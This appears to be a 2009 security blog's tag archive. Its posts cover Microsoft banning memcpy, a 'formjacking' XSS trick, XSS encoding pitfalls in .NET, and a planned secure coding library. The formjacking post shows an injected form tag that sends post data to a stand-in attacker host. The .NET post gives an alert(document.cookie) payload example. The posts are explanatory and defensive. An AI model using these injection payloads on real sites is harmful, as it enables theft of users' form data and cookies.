Archive

Posts Tagged ‘software security’

Microsoft Nixes memcopy

May 15th, 2009
Comments Off

Here’s an article stating that Microsoft has added memcopy to the list of naughty functions. This is really not a surprise in my opinion. For those of you who do not know why this is bad, memcopy copies data from one memory location to another. The problem is that it does not check the size of the receiving location to make sure there is enough room. Over the years, this has caused many vulnerabilities. As any good C/C++ developer knows, good memory management is crucial.

Eric IT Security , ,

Formjacking

May 13th, 2009

Just read a cool post over at omg.wtf.bbq about a new attack called “formjacking”. Not sure about the attack name, but this is pretty neat. In FireFox 3 and IE7, self contained XHTML tags provide a way to exploit a XSS vulnerability and alter the action associated with a form tag. I’ve tested this out and it also works with Google Chrome, so the same goes for the other WebKit based browsers like Safari.

The gist is that if you can insert a self contained form tag, the browser will ignore the other form tags. Let’s say that you have the following code:

<form action="good.php" method="post">
<input type="text" name="test" id="test"></input>
<input type="Submit" value="Submit">
</form>

If you can insert a self enclosed form tag:

<form action="http://evilhaxor.com/pwned" method="post" />
<form action="good.php" method="post">
<input type="text" name="test" id="test"></input>
<input type="Submit" value="Submit">
</form>

Notice the forward slash at the end of the tag? The second form tag will be ignored and the post data will be sent to the inserted action.

Eric IT Security , ,

Fighting XSS in .NET

April 19th, 2009
Comments Off

Cross Site Scripting (XSS) is listed as the top vulnerability on the OWASP Top 10 and one of the more dangerous vulnerabilities on the web. Because of the different ways to manipulate content, fighting XSS is a chore. For proof, check out the “XSS Cheat Sheet” at http://ha.ckers.org/xss.html. That list is still growing…

The main way to fight cross site scripting is encoding. If convert unsafe characters into their html counterparts,  then malicious code will not be executed. In .NET, the HttpUtility.HtmlEncode method converts some unsafe characters for you. This is a good way to cleanse content before it is interpreted by the browser, but it won’t stop all XSS vulnerabilities.

HtmlEncode uses “blacklisting” to block unsafe characters. Blacklisting will stop some attempts, but leaves room for other attacks to happen if the coder is not careful. HtmlEncode converts the following characters:

  • <
  • >
  • &
  • Characters with values 160-255

This will block most, but what if you fall into a false sense of security and forget what HtmlEncode does? If you were to execute something like this:

<input value=’<%= HtmlEncode(thisAction’)’ %> id=’btnExecute’>

If thisAction equaled alert(document.cookie), then the attack would work. This approach doesn’t seem rational, but I’ve seen worse.

A better approach is to use whitelisting. If you escape everything except what needs to be there, then you decrease your threat surface substantially.

Eric IT Security , ,

Getting to the Source

April 6th, 2009
Comments Off

In my line of work I go to customer sites, scan software, and provide training on using our tools to write secure software. The problem is that while we’re talking about detailed attack categories, we don’t give much detail on how to fix them. There’s usually not enough time to show a developer how to use regular expressions or html encoding to block vulnerabilities. Our academic institutions are not really teaching software security, so developers are on their own to learn how to do this.

We will always face the fight of having informed developers, but we can try to make security easier. One way to do this is making the frameworks we use to develop our applications more secure. The major frameworks are getting better at security, but they are still focused on functionality. They are the ones that have the power to make the web more secure, but there’s no pressure for them to do the work.

I’ve looked around the net and haven’t been able to find secure coding libraries that make security easier to implement. There are some that tackle individual attacks, but none that attempt a comprehensive solution. There will never be a full solution, but we can try to put together some of the pieces.

With that being said, I am considering writing a secure coding library for .NET. My initial thoughts are too rewrite the standard .NET controls to force some general validation and encoding. Fighting XSS will be fruitful, but SQL injection may be tougher. The ideal solution is to use parameterized or store procedures, but a large number of people do not follow this best practice. I will use the OWASP Top 10 2007 as a list of what vulnerabilities to conquer. I’m still struggling with open versus closed source. There are some corporate/government organizations that won’t use open source products, so I may make this closed source but free to download. I’ll continue to think about this. If someone happens to find this post and wants to comment, please do so.

Eric IT Security ,